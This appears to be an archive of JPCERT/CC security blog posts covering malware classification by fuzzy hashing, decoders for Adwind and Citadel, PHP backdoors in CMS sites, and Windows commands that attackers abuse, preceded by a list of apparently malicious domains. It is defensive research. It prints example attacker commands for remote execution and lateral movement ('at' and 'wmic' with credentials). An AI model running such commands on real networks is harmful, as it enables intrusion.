  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com

 

May 25, 2016

Classifying Malware using Import API and Fuzzy Hashing – impfuzzy –

Hello all, this is Shusei Tomonaga again.

Generally speaking, malware analysis begins with classifying whether it is known malware or not. In order to make comparison with the enormous number of known malware samples in the database in a speedy manner, hash values are used, derived by performing hash functions to the malware sample.

Among the different hash functions, traditional ones such as MD5 and SHA1 derive totally different hash values if the input data is different even by 1 bit. So this would not be useful when you have a sample that is similar to a known malware, and would like to classify it as “known”.

These days, malware used in attacks is mostly customised for each case, so it is ideal to use hash functions which can classify those samples as similar to known ones.

Therefore, fuzzy hash function (of which the hash value for modified codes is close to that of the original codes) is used if modifications are simple and mechanical, and for Windows executable file samples, imphash [1] (import hash) is used, which calculates values from PE (portable executable)’s import table.

One of the known examples of fuzzy hash is ssdeep [2].

However, there are various issues with these methods used for malware classification; hash values derived by ssdeep often do not coincide with the similarity of malware samples, while imphash derives different values once new functions are added to the malware.

This blog article proposes a new method “impfuzzy”, and demonstrates how it can accurately classify similar malware, in comparison to existing methods.

impfuzzy

The proposed method, as in imphash, calculates values from Import API, however, it also uses Fuzzy Hashing to calculate hash values of Import API, in order to supplement the shortcomings of imphash. With this process, a close value will be derived if just a part of Import API was added or modified.

Furthermore, it reduces time for calculation and enables efficient comparison by specifying the object of the hash value calculation to Import API (and not to the Fuzzy Hashing value of the whole executable file).

Implementing impfuzzy

“pyimpfuzzy”, a Python module for calculating and comparing impfuzzy, is available on GitHub (a public web service for software development projects). Feel free to download it from the following URL for your use:

JPCERTCC/aa-tools GitHub - impfuzzy

https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/

Volatility Plugin is also released on the portal, which searches for similar files based on hash values of executable files loaded from memory images by using impfuzzy.

In order to use pyimpfuzzy, the following tools need to be installed.

For this implementation, ssdeep is used as Fuzzy Hashing.

pyimpfuzzy has the following functions:

  • get_impfuzzy: calculates hash values from selected PE files
  • get_impfuzzy_data: calculates hash values from PE files in a data format
  • hash_compare: compares two hash values and returns the degree of similarity within the range of integer 0-100 (100 when same)

The similarity of the two PE files is calculated as follows:

import pyimpfuzzy
import sys

hash1 = pyimpfuzzy.get_impfuzzy(sys.argv[1])
hash2 = pyimpfuzzy.get_impfuzzy(sys.argv[2])
print "ImpFuzzy1: %s" % hash1
print "ImpFuzzy2: %s" % hash2
print "Compare: %i" % pyimpfuzzy.hash_compare(hash1, hash2)

The following result is derived when executing the above script:

Impfuzzy

Evaluation of impfuzzy

This section describes the results of an experiment of comparing, and evaluating, how the 3 different methods (proposed impfuzzy, imphash and ssdeep) are capable in classifying similar types of malware.

For the experiment, 10 different samples for 20 types of malware (200 samples in total) were prepared. For all the combinations that select two samples out of the 200, the similarities of the samples were calculated using the three methods. The two samples were classified as the same if the calculated value was 30 and larger.

For the experiment, packed samples were unpacked beforehand.

Figure 1 shows the results of the experiment.

There were no false positives detected which classified different types of malware as the same.

Figure 1: Success rates of malware type classification among impfuzzy, imphash and ssdeep
Comp_eng

*1 The threshold value for classifying the same malware type is set as 30, for impfuzzy and ssdeep

*2 ssdeep’s target of comparison is the whole executable file

The results reveal that impfuzzy is more capable of classifying the same malware type than the other two methods. For the details of the results, please see Appendix A.

This method judges the samples’ similarities based on Import API, and therefore it is clear that the identification rates are higher for samples whose malware generation tools (builders) are publicly available (e.g. Pony and ZeuS), because their Windows API rarely change. On the other hand, samples whose functions are frequently updated or changed (e.g. Emdivi) have lower rates.

For the experiment, the threshold value for impfuzzy was set as 30, however, it may detect false positives depending on the executable files. We recommend adjusting the threshold value for each executable file.

In case impfuzzy is not applied effectively

Some malware have few Import APIs.

For example, some samples called downloader use only around 5 Windows APIs. For those samples, impfuzzy may not be able to compare the hash values accurately due to the limited size of data to compare. Also, samples generated by .NET Framework have different mechanisms from applications which directly execute Windows API. Therefore, hash values for those samples cannot be calculated.

Summary

In the current situation where huge numbers of malware samples emerge day by day, it is important to efficiently classify malware samples, and identify new ones which need to be analysed. We believe that the method introduced here will be one approach to support this process.

Also, Volatility Plugin that we released together with impfuzzy, is useful for memory forensics to check malware infection.

Since this tool can calculate hash values of samples which are unpacked in the memory, it is capable of judging the similarities of the samples, even if the malware is packed.

This Plugin is available at the following URL. We will introduce this tool on this blog at another occasion.

JPCERTCC/aa-tools GitHub – impfuzzy for Volatility

https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/impfuzzy_for_Volatility

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] FireEye - Tracking Malware with Import Hashing

https://www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html

[2] Fuzzy Hashing and ssdeep

http://ssdeep.sourceforge.net/

Appendix A

Comparison of impfuzzy, imphash and ssdeep

Table 1: Malware Identification Rate
Typeimpfuzzy (%)imphash (%)ssdeep (%)
Agtid 100 35.6 26.7
BeginX Server 15.6 11.1 11.1
IXESHE 196 44.4 4.4 2.2
IXESHE 2 28.9 6.7 2.2
IXESHE 2sw 100 15.6 17.8
Daserf 35.6 4.4 4.4
Dyre 100 6.7 2.2
Fucobha 44.4 4.4 2.2
Gstatus 60 4.4 2.2
Hikit 64.4 35.6 6.7
Netwire 80 15.6 28.9
NfIpv6 24.4 4.4 4.4
Emdivi t17 37.8 0 0
Emdivi t20 4.4 0 0
plurk 15.6 6.7 11.1
Derusbi 80 8.9 8.9
Pony 95.6 15.6 0
sregister 100 11.1 15.6
Sykipot 8.9 0 2.2
ZeuS 80 35.6 35.6

*Types of malware used in this experiment are those analysed and classified by JPCERT/CC.

Decoding Obfuscated Strings in Adwind

From the latter half of 2015 to 2016, there have been an increasing number of cyber attacks worldwide using Adwind, a Remote Access Tool [1]. JPCERT/CC also received incident reports about emails with this malware in its attachment.

Adwind is malware written in Java language, and it operates in Windows and other OS as well. It has a variety of functions: to download and execute arbitrary files, send infected machine information to C&C servers and extend functions using plug-ins.

One of the characteristics of Adwind is its frequent updates. In an extreme case, an update was released merely in a two-week interval. When investigating Adwind-related incidents, it is important to correctly examine the functions of the Adwind version in use.

The challenge is, however, the strings stored within Adwind, which count up to about 500, are artfully obfuscated, and they need to be decoded in order to analyse the malware’s function. JPCERT/CC created a tool “adwind_string_decoder.py”, which efficiently decodes such obfuscated strings. This blog article describes how this tool works.

Although Adwind has multiple generations [1], this blog article and the tool created will examine the new Adwind versions which have been used in recent attacks since the latter half of 2015.

Obfuscated strings

Most of the strings that Adwind has are obfuscated as in Figure 1. The number of such strings differs depending on the Adwind’s version, but there are about 500. These strings look totally different in each Adwind version.

Figure 1: Decompiled codes containing obfuscated strings
1_obfuscated
Figure 2: Decompiled codes in another Adwind version
2_obfuscated_old

Figure 1 and Figure 2 describe codes which correspond to the same process. Both figures have line feeds inserted and are indented so that the decompiled codes can be read easier. Figure 2 is the Adwind version which was seen in mid-August 2015 and Figure 1 in late November 2015. As previously mentioned, Adwind gets updated frequently, and furthermore, the codes are obfuscated using different keys for each version.

The red-marked sections in Figure 1 and 2 indicate part of the process for collecting information to be sent to C&C servers, and contain a process for obtaining infected usernames. However, when calling the process for collecting information, the object (which is the username) is specified in the obfuscated strings. This makes it impossible to tell from the codes that the malware intends to collect infected usernames, unless they are decoded. Furthermore, it is difficult to decode the strings since the keys used for obfuscation are scattered and different for each Adwind version (as described later).

In incident analysis, damage caused by the infection and the next attack sequence can sometimes be predicted by specifying the information sent to C&C servers. From the analysis perspectives, it is important to closely examine what kind of information the malware is targeting. For this purpose, static code analysis has to be effectively conducted, and about 500 obfuscated strings for various Adwind versions need to be quickly decoded.

Analysing the string-decoding process

Generally in stream cipher, in order to encrypt data m (with a random length), usually a pseudo-random number sequence k (with the same length as m) is created using its encryption key, and an encrypted string is generated by m XOR k. By combining the XOR for m XOR k and the pseudo-random number sequence k (which is described as (m XOR k) XOR k) using XOR operation, the string is decrypted to derive the plaintext m.

Obfuscation in Adwind is conducted in a method which is similar to the abovementioned stream cypher. However, Adwind creates k in a different method, not from an encryption key. In this article, k for Adwind is referred to as an “obfuscating key”.

Codes in Adwind contain some functions which take an obfuscated string as an argument, and returns its decoded string. These functions are referred to as Fi hereafter. One thing to note here is that Fi returns different results even for the same input, if the caller method is different. This means that, in order to do static analysis and obtain the obfuscating key corresponding to a certain string, it is necessary to understand which Fi processes the strings, as well as in which method the string exists to call for Fi. The following describes what kind of obfuscating key Fi generates to process decoding.

Fi takes its caller’s method name and class name as the basis, and generates an obfuscating key by giving them a transform process derived from the following factors. This process is repeated until it gains a certain length required for a key.

Factor 1: Which comes first when concatenating the method name and class name

Factor 2: The value used in the operation for transforming the basis string to a completely different string

All Fi consist mostly of the same codes, however, only those corresponding to the above factors have different codes in each Fi. Furthermore, Factor 2 does not exist in the code as an immediate constant, and is derived through obfuscated codes including bit-operations.

Adwind contains at least 5 varieties of Fi and about 60 methods including obfuscated strings, which means that it has a combination of about 100 obfuscating keys. Although Fi consists of relatively simple codes, this number makes it fairly difficult to remove obfuscation.

Additionally, the two factors mentioned above vary in each Adwind version. Therefore, even if we create a decoding tool for a certain version of Adwind, it cannot be applied to other versions.

On the other hand, Fi has the following characteristics in common:

- Has one argument of a string object

- Is a static function that returns a decoded string as a string object

- Contains a certain API call to obtain the caller’s information

- Has limited varieties of instructions within the function

Based on the features, JPCERT/CC created a tool to automatically decode obfuscated strings using a method which does not rely on the Adwind version as much as possible.

adwind_string_decoder.py

This tool is available on GitHub. Feel free to download for your use.

JPCERTCC/aa-tools - adwind_string_decoder.py

https://github.com/JPCERTCC/aa-tools

In order to use adwind_string_decoder.py, a disassembler, javap, is required which is included in JDK (Java Development Kit). Users are required to set a path to javap, or configure so that the environment variable JAVA_HOME is pointed to the JDK folder.

adwind_string_decoder.py basically processes in the following sequence:

  1. Open the selected jar file and call a disassembler
  2. Scan all the disassembled codes, and extract functions which seem to be decoding functions from the arguments and types
  3. Judge if it really is a decoding process from the kinds of instructions and sequences that appear in the function
  4. If it is a decoding process, derive Factor 1 and 2 to generate obfuscating keys
  5. Scan all the codes again and extract parts which call for the decoding process
  6. Derive each method name and class name, and use them as the basis for obfuscating keys
  7. Generate obfuscating keys and decode the strings

Before using adwind_string_decoder.py – Unpacking Adwind

Typically, Adwind is packed, and its main jar file is hidden in the artifact’s jar file. Since adwind_string_decoder.py does not have the function to unpack Adwind, users are required to run Adwind in an analysis environment beforehand, and extract the jar image that appears in its memory. The jar image tends to disappear easily from the memory, however, it could be easier to extract it if you set a breakpoint in the API which reads the jar file, by using a Java debugger (e.g. jdb).

Executing adwind_string_decoder.py

To decode obfuscated strings, select the unpacked jar file and output file, and execute as follows:

python adwind_string_decoder.py sample.jar output.jasm

Then it outputs disassembled codes which contain decoded strings as comments, as in Figure 3.

Figure 3: Disassembled codes with some decoded strings inserted
3_decoded_disassembly

Also, if you execute without any output files, the output of the disassembled codes will be omitted, and you can output decoded strings only to the standard output, as in Figure 4.

python adwind_string_decoder.py sample.jar
Figure 4: Output of decoded strings only
4_decoded_strings

It is also possible to scan the java codes (outputs of the decompiler), and replace the function call and argument with the decoded string. This option only supports codes in Fully Qualified Name (FQN) format. For example, you can obtain the output in Figure 6 from codes as in Figure 5. Since adwind_string_decoder.py does not have a decompiling function, you need to output a file with the decompiler and store it in a folder beforehand. After selecting that folder and a new folder for outputting the decoded file, execute as follows:

python adwind_string_decoder.py sample.jar source_folder output_folder
Figure 5: Decompiled codes before decoding
5_obfuscated_code
Figure 6: Decompiled codes after decoding
6_decoded_code

Using these decoded strings, it is easy to understand what kind of information the malware intends to collect and send to C&C servers. It is also possible to find out which OS can be infected by the malware, and how the Adwind functions may differ in each OS.

Summary

Since early February 2016, attacks using these new Adwind versions have been less and less seen. This may be good news, however, it seems that there are still new samples found at the end of February 2016. We hope that the tool we introduced here would be of your help in case if you see any new versions of Adwind.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


Reference:

[1] Adwind: FAQ - Securelist

https://securelist.com/blog/research/73660/adwind-faq/

Appendix

SHA-256 Hash value of the sample

  • 033db051fc98b61dab4a290a5d802abe72930338c4a0dd4705c74eacd84578d3
  • f8f99b405c932adb0f8eb147233bfef1cf3547988be4d27efd1d6b05a8817d46

 

Apr 08, 2016

PHP Files in CMS, Targeted for Alteration

JPCERT/CC has been continuously observing cases where websites in Japan created with Content Management Systems (hereafter “CMS”) are defaced in a similar way, and the same kind of cases are also observed overseas [1], [2]. In these cases, part of the PHP files composing the CMS are altered, and this results in defacement of the website contents [3].

Based on the analysis of several cases, this entry today describes the alteration of such files composing CMS.

Altered Files

JPCERT/CC confirmed that the targeted CMS contained partially altered PHP files as components. The CMS names and altered PHP files in each are listed in Table 1.

Table 1: CMS names and altered PHP files
CMS NameAltered PHP Files
WordPress /wp-includes/nav-menu.php
/wp-admin/includes/nav-menu.php
Joomla! /includes/defines.php
/administrator/includes/defines.php
Drupal /includes/bootstrap.inc
MODX /manager/includes/protect.inc.php

Our study revealed that malicious codes were dynamically inserted into the response from the website for each access by the visitor, which was a result of the PHP file alteration.

How Altered PHP Files Insert Malicious Codes

Altered PHP files included malicious PHP codes in between “//istart” and “//iend” as in Figure 1 (we noted that malicious codes are obfuscated in some cases).

These malicious PHP codes have a function to insert codes obtained from outside. They receive malicious codes from a specific URL and insert them in a certain place.

Figure 1: Malicious PHP codes in between “//istart” and “//iend”
Pic1

Malicious Codes to be Inserted

When a visitor accesses such websites, the malicious PHP codes in the altered PHP files obtain malicious codes composed of “div” tag and JavaScript, and insert them in the response to the website visitor. The places to insert the codes differ in each CMS: right after the “body” tag in WordPress, and at the beginning of the HTML in Joomla!, Drupal and MODX.

Figure 2: Example of malicious codes to be inserted
Pic2

Malicious codes include obfuscated JavaScript, and if this is executed on the visitor’s browser, they generate tags such as iframe, etc., which redirect the visitor to the attacker’s site. Also, if the visitor’s web browser or its plug-in, etc., has certain vulnerability, their PC may be exposed to the risk of being infected with malware such as ransomware.

Summary

In such cases where malicious codes are dynamically inserted, it may be difficult for website administrators to realise that their websites are providing malicious contents. We recommend the administrators to confirm that there are no malicious PHP codes (as in Figure 1) in the PHP files described in Table 1 and others in their websites. We have not yet confirmed how these PHP files are altered, but vulnerabilities in the CMS or the plug-ins used by CMS may be leveraged for the alteration. We also recommend updating the CMS and plug-ins to the latest version.

Other than the instances introduced here, JPCERT/CC has been seeing cases where Japanese websites are defaced, and then leveraged as an entrance to the attacker’s website. We hope that each website administrator takes actions as updating the software and properly managing passwords, and be mindful that their website would not be abused for such attacks.

- Ayaka Funakoshi

(Translated by Yukako Uchida)


Reference:

[1] Sucuri Inc
WordPress Malware Causes Psuedo-Darkleech Infection
https://blog.sucuri.net/2015/03/pseudo-darkleech-server-root-infection.html

[2] DAVISEFORD.COM
DarkLeech: Finally Under Control?
http://daviseford.com/node/58

[3] JPCERT/CC
JPCERT/CC Incident Handling Report (October 1 – December 31 2015) (English)
http://www.jpcert.or.jp/english/doc/IR_Report2015Q3_en.pdf

Feb 19, 2016

Banking Trojan “Citadel” Returns

Hello again, this is You ‘Tsuru’ Nakatsuru from Analysis Center. It has been just about two years since I delivered a talk “Fight Against Citadel in Japan” at CODE BLUE 2013 (an international security conference in Tokyo) about the situation on banking trojans observed in Japan at that time and detailed analysis results on Citadel (See my blog entry here). For the presentation material and audio archive, please see Reference [1].

Since then, various kinds of efforts have been implemented against this malware. Citadel was less and less seen among incident reports to JPCERT/CC, and there had been no reports about it since the first half of 2014. However, in late November 2015, we observed an attempt to infect a host with an upgraded Citadel via Drive-by-Download attack.

In this blog article, I will discuss how this upgraded Citadel (here after tentatively named as “Citadel 101” since the version was set as 0.0.1.1) had changed from Citadel version 1.3.5.1 (hereafter “Citadel 1.3.5.1”) which I presented at CODE BLUE. I will also introduce a decryption tool for Citadel 101 created by JPCERT/CC.

Message Impersonating Brian Krebs Removed

It is widely known that Citadel 1.3.5.1 has a function which is not related to its intended behaviour: When executing with argument “-z”, the following message is displayed.

Figure 1: Dialog box displayed when executing with argument "-z"
1_krebs

This is a message impersonating Brian Krebs, a well-known security researcher of Krebs on Security. He himself actually has written an article about this (See Reference [2]). In Citadel 101, this function has been removed.

Change in Structure

There have been some slight changes in structures used within Citadel. For instance, in BinStrage (used as data format for configuration files), the size of random data at the beginning of the header had been changed from 20 bytes to 32 bytes as in Figure 2.

Figure 2: Random data (in red boxes) at the beginning of BinStrage – in Citadel 1.3.5.1 (upper) and Citadel 101 (lower)
2_binstrage

XOR Operation Added to Encryption Process

As I introduced at CODE BLUE, Citadel 1.3.5.1 encrypts files, registries and communication data, as indicated in Table 1.

Table 1: Objects that Citadel 1.3.5.1 encrypts and its methods
Encryption objectData formatEncryption method
Communication data Report Encrypted BinStrage RC4+
Dynamic Config Encrypted BinStrage AES+
Additional modules Executable files RC4+ * 2
Files Report files StrageArray AES+ using Installed Data
Module backup StrageArray AES+ using Installed Data
Registry Dynamic Config backup Encrypted BinStrage AES+ using Installed Data

Citadel 101 encrypts the same objects and uses the same encryption methods as Citadel 1.3.5.1, however, XOR operation has been added at the beginning of the encryption process and the end of the decryption process. Data retrieved through the same decryption method as Citadel 1.3.5.1 includes XOR key (key2) and encoded data (data), which are used in the XOR decoding process (shown in Figure 3).

Figure 3: XOR decoding process added to Citadel 101
3_xor

The default value of key1, which is one of the XOR keys used here, is hardcoded in Citadel itself. In the incident handling process, this value has to be newly retrieved in order to decrypt data encrypted by Citadel.

Updated Citadel Decryptor Published

Citadel Decryptor is a tool to decrypt data encrypted by Citadel, which I created and presented at CODE BLUE. This time, I expanded its feature so that it can decrypt data encrypted by Citadel 101 as well, and published it on GitHub.

JPCERTCC/aa-tools/citadel_decryptor

https://github.com/JPCERTCC/aa-tools/citadel_decryptor

Major changes are as follows:

  • Added the process to obtain encryption keys, etc., hardcoded in Citadel 101 itself
  • Added XOR decoding process at the end of decryption process

⇒In case it fails to obtain the XOR key, it judges that the version is Citadel 1.3.5.1 and does not perform XOR decoding

  • Made changes to correspond to different structures between Citadel 101 and Citadel 1.3.5.1.

There is no change in its usage. Here below is an example of using the tool to decrypt the configuration file which Citadel 101 receives from a C&C server.

> citadel_decryptor.py -v -d root.xml citadel_main.bin
[*] start to decrypt root.xml
[*] get base config & several params
[*] found base config at RVA:0x000047f0, RA:0x000047f0
[*] found login key: D8F3A28A92E53179A3EC2100B314A5CB
[*] use RC4 key at (base config + 0x000001fd)
[*] found following xor key for AES plus:
[40, 40, 84, 92, 146, 121, 93, 197, 4, 73, 90, 178, 167, 220, 62, 44]
[*] found RC4 salt: 0x5198A7FE
[*] found xor key using after Visual Decrypt: 0x5198A7FE
[*] try to unpack
[*] decrypt data using following key:
[58, 225, (snip.) 50, 247, 122, 107, 114, 177, 190, 29, 60, 230, 186, 94]
[*] try to AES+ decryption
[*] use following AES key:
[181, 55, (snip.) , 252, 170, 168, 99, 231, 208, 131, 229, 244, 121]
[*] parse decrypted data... OK
[*] decompress decrypted data
[*] wrote decrypted data to root_decrypted.bin

Way Forward

Since JPCERT/CC has only seen a small number of Citadel 101 cases so far, there has not yet been enough testing on the Citadel Decryptor. There may be some other changes that are not fully covered in this update. I would like to make improvements based on your feedbacks, including Citadel samples which cannot be decrypted with the Citadel Decryptor. Your pull request is also highly appreciated!

Thank you for reading!

- You Nakatsuru


Reference

[1] ARCHIVE || Lecture of past || CODE BLUE 2013

http://codeblue.jp/2015/en/archive/2013/#speaker-you


[2] Krebs, KrebsOnSecurity, As Malware Memes — Krebs on Security

http://krebsonsecurity.com/2013/05/krebs-krebsonsecurity-as-malware-memes/

Appendix: SHA-256 hash value

dd16014eb3fa62d483758b63b2f412017381e6d9cc03347152dff3eb9f8e6e3b

Jan 26, 2016

Windows Commands Abused by Attackers

Hello again, this is Shusei Tomonaga from the Analysis Center.

In Windows OS, various commands (hereafter “Windows commands”) are installed by default. However, what is actually used by general users is just a small part of it. On the other hand, JPCERT/CC has observed that attackers intruding into a network also use Windows commands in order to collect information and/or to spread malware infection within the network. What is worth noting here is the gap between those Window commands used by general users and by attackers. If there is a huge difference, it would be possible to detect or limit the attackers’ behaviour by monitoring/controlling the Windows command execution.

This entry will demonstrate how to mitigate the attack impact by revealing Windows commands that attackers use on the intruded Windows OS, and by restricting the execution of those commands that are unnecessary for general users.

Malware for remote control (Remote Access Tool/Trojan – RAT) has a function to execute shell commands from a remote environment. With this, attackers can execute Windows commands from a remote environment.

Attackers who successfully installed such malware in a network will attempt to take control of the system within the network in the following sequence in order to collect confidential information, etc.

  1. Initial investigation: Collect information of the infected machine
  2. Reconnaissance: Look for information saved in the machine and remote machines within the network
  3. Spread of infection: Infect the machine with other malware or try to access other machines

Windows commands are used in all of the phases above. Respective Windows commands used in each phase are introduced here below.

Initial Investigation

Table 1 lists the commands that are often used by attackers in an attempt to collect information of the infected machine. “Times executed” is derived from the sum of Windows commands used by 3 different attack groups in their respective C&C servers (Please refer to Appendix A, B and C for details).

Table 1: Initial Investigation (Top 10 commands)
RankingCommandTimes executed
1 tasklist 155
2 ver 95
3 ipconfig 76
4 systeminfo 40
5 net time 31
6 netstat 27
7 whoami 22
8 net start 16
9 qprocess 15
10 query 14

Attackers use commands such as “tasklist”, “ver”, “ipconfig” and “systeminfo”, etc., and collect information of the network, process and OS in order to investigate what kind of machine they succeeded in infecting. This is presumably how they make sure that the machine is not a sandbox for malware analysis purposes and so on.

Reconnaissance

Commands shown in Table 2 are often used to search for confidential information and remote machines within the network.

Table 2: Reconnaissance (Top 10 commands)
RankingCommandTimes executed
1 dir 976
2 net view 236
3 ping 200
4 net use 194
5 type 120
6 net user 95
7 net localgroup 39
8 net group 20
9 net config 16
10 net share 11

Attackers use “dir” and “type” to search for files. Sometimes they collect a list of all the document files in the infected machine by setting appropriate options and arguments for “dir” command.

For searching networks, “net” is used. In particular, the following commands are often seen:

  • net view: Obtain a list of connectable domain resources
  • net user: Manage local/domain accounts
  • net localgroup: Obtain a list of users belonging to local groups
  • net group: Obtain a list of users belonging to certain domain groups
  • net use: Access to resources

Furthermore, the following commands may be used in an environment where Active Directory is used (Please refer to Table 5 in Appendix A). These commands are installed in Windows Server and do not originally exist in client OS such as Windows 7 and 8.1 – but attackers download and install these commands from outside and execute them.

  • dsquery: Search for accounts in Active Directory
  • csvde: Obtain account information in Active Directory

Spread of Infection

To intrude remote machines and spread malware infection within the network, the following commands are often executed:

Table 3: Spread of Infection
RankingCommandTimes executed
1 at 103
2 reg 31
3 wmic 24
4 wusa 7
5 netsh advfirewall 4
6 sc 4
7 rundll32 2

*”wmic” is also used for reconnaissance.

“at” and “wmic” are often used to execute malware on remote machines.

With “at” command, attackers can execute commands on remote machines, by registering tasks to execute files against connectable machines as follows.

at \\[remote host name or IP address] 12:00 cmd /c "C:\windows\temp\mal.exe"

Also, by setting the following options and arguments with “wmic” command, attackers can execute commands on remote machines.

wmic /node:[IP address] /user:”[user name]” /password:”[password]” process call create “cmd /c c:\Windows\System32\net.exe user”

Restricting Execution of Unnecessary Windows Commands

It is fair to say that these Windows commands used by attackers include those that are unused by general users, if carefully selected. With AppLocker and software restriction policy, which restrict such commands from being executed, it would be possible to limit the attackers’ behaviour. For example, if you wish to restrict “net” commands, you can set rules as in Figure 1. (For details of AppLocker configuration, please see Microsoft’s Website [1]).

Figure 1: AppLocker Rules
Figure1

Also, by enabling AppLocker, events where selected Windows commands were executed or attempted but denied will be recorded in the event logs, which can be utilized for investigation on Windows commands that attackers executed after infecting the machine with malware.

Figure 2: Logs of the Processes Restricted by AppLocker
Figure2

AppLocker can also just monitor Windows commands [2]. With this, AppLocker cannot prevent unintended Windows commands from being executed, but the execution history will be recorded in the event log. If the users themselves use Windows commands that may be used for attacks, it is a good idea to set AppLocker just for monitoring purpose. (Windows command execution can also be monitored by activating “Audit Process Creation” in the local security policy.)

Conclusion

In targeted attacks, attackers not only use functions implemented in the malware, but also often use Windows commands to pursue their purposes. If such activities can be hindered, spread of incidents can be prevented in a fairly early stage. However, it may be difficult to limit the usage of Windows commands right away – so our recommendation is to start by collecting logs of executed processes by using AppLocker, etc.

Thank you for reading and best wishes for the New Year!

- Shusei Tomonaga


Reference:

[1] Microsoft - Windows AppLocker
https://technet.microsoft.com/en-us/library/dd759117.aspx

[2] Microsoft – Using Auditing to Track Which Applications Are Used

https://technet.microsoft.com/en-us/library/dd723693%28v=ws.10%29.aspx

Appendix A: List of Executed Commands by respective Attack Groups (Attack Group A)
Table 4: Initial Investigation (Attack Group A)
RankingCommandTimes executedOption
1 tasklist 119 /s /v
2 ver 92
3 ipconfig 58 /all
4 net time 30
5 systeminfo 24
6 netstat 22 -ano
7 qprocess 15
8 query 14 user
9 whoami 14 /all
10 net start 10
11 nslookup 4
12 fsutil 3 fsinfo drives
13 time 2 /t
14 set 1

Table 5: Reconnaissance (Attack Group A)
RankingCommandTimes executedOption
1 dir 903
2 net view 226
3 ping 196
4 net use 193
5 type 118
6 net user 74
7 net localgroup 35
8 net group 19
9 net config 16
10 net share 11
11 dsquery 6
12 csvde 5 /f /q
13 nbtstat 5 -a
14 net session 3
15 nltest 3 /dclist
16 wevtutil 2

Table 6: Spread of Infection (Attack Group A)
RankingCommandTimes executedOption
1 at 98
2 reg 29 add export query
3 wmic 24
4 netsh advfirewall 4
5 sc 4 qc query
6 wusa 2
Appendix B: List of Executed Commands by respective Attack Groups (Attack Group B)
Table 7: Initial Investigation (Attack Group B)
RankingCommandTimes executedOption
1 tasklist 29 /m /svc
2 whoami 6
3 ipconfig 5 /all
4 net start 4
5 netstat 3 -ano
6 nslookup 3
7 ver 2
8 time 1 /t

Table 8: Reconnaissance (Attack Group B)
RankingCommandTimes executedOption
1 dir 62
2 net user 21 /domain /add
3 net view 9 /domain
4 ping 4
5 net localgroup 4 /add
6 tree 3 /F
7 type 2
8 net group 1 /domain

Table 9: Spread of Infection (Attack Group B)
RankingCommandTimes executedOption
1 at 5
2 wusa 5
3 reg 2
4 rundll32 2
Appendix C: List of Executed Commands by respective Attack Groups (Attack Group C)
Table 10: Initial Investigation (Attack Group C)
RankingCommandTimes executedOption
1 systeminfo 16
2 ipconfig 13 /all /?
3 tasklist 7
4 netstat 5 -ano
5 whoami 2
6 net start 2
7 arp 1 -a
8 chcp 1
9 net time 1
10 ver 1

Table 11: Reconnaissance (Attack Group C)
RankingCommandTimes executedOption
1 dir 11
2 net user 1 /all /?
3 net view 1
4 qwinsta 1 -ano

*Commands for “Spread of Infection” by Attack Group C are omitted since they did not spread the infection.

Dec 21, 2015

Malware Analysis Training Course at Security Camp Japan 2015

Hi, this is You 'Tsuru' Nakatsuru again from Analysis Center.

This past summer, I joined the “Security Camp 2015” in Japan as a trainer for a malware analysis training course, which was held for students aged 22 and under living in Japan, with the aim of discovering top, young talents.

This blog entry is to introduce the malware analysis training materials which I used at Security Camp 2015 as below.

Malware Analysis Training Materials for Security Camp Japan 2015
Published DateTitleFilePGP Signature
2015-09-10 "10-D: Understanding Malware"
You Nakatsuru, Analysis Center, JPCERT/CC
3.23MB
Digitally Signed
PGP Signature
2015-09-10 "13-D, 14-D: Understanding Malware"
You Nakatsuru, Analysis Center, JPCERT/CC
974KB
Digitally Signed
PGP Signature
2015-09-10 "Understanding Malware Exercises"
You Nakatsuru, Analysis Center, JPCERT/CC
zip
1.08MB
PGP Signature

Understanding Malware

My course covered 6 hours of the 5-day Security Camp. As you may know, malware analysis requires a variety of knowledge such as OS, network, etc., and you also need to know how to create a safe analysis environment and how to use various tools. However, because it is difficult to cram everything in a limited course, I focused mainly on one of the popular topics at Security Camp – “Static analysis method (Reverse engineering).” Static analysis is a method used to read codes in the malware, which is more difficult and time-consuming than other analysis methods. However, more details on malware behavior can be revealed by using this method.

The training course consisted of 2 parts as below:

  • ŸFirst half (2 hours)

I explained basic knowledge of the current state of malware and analysis methods, followed by basics of static analysis (assembly language, efficient ways to read codes, etc.) in a hands-on style.

  • Second half (4 hours)

Trainees read malware codes on their own, while I explained the required knowledge to actually analyze malware, such as the mechanism of Windows and techniques used by malware.

The course aimed to bring the trainees to properly understand about malware, to master static analysis method, as well as to recognize the challenge in malware analysis and to utilize those knowledge and skills in the future. All the course materials were compiled in English, as JPCERT/CC has various opportunities to conduct trainings abroad.

The Security Camp had a few Japanese students as young as Junior High School students, and it may have been a bit of a challenge to study malware analysis, which requires advanced technical skills, in English. Even so, the trainees earnestly worked on penetrating codes and were able to find out the actual behavior of the malware. At the end of the course, there were positive feedbacks such as “The course was informative,” “It was difficult but fun,” and “I hope to be able to read and understand codes more,” and I feel happy to be able to contribute to the future of the trainees.

In Closing

The course materials have been published in hope that it will also be useful for anyone who has interest in malware analysis. We would highly appreciate your comments or feedback on the materials. Please contact aa-info@jpcert.or.jp.

Thank you.

- You Nakatsuru


Reference

Security Camp Japan 2015: Information-technology Promotion Agency, Japan (IPA) (Japanese only)

https://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015.html


Security Camp Executive Committee (Japanese only)

http://www.security-camp.org/camp/index.html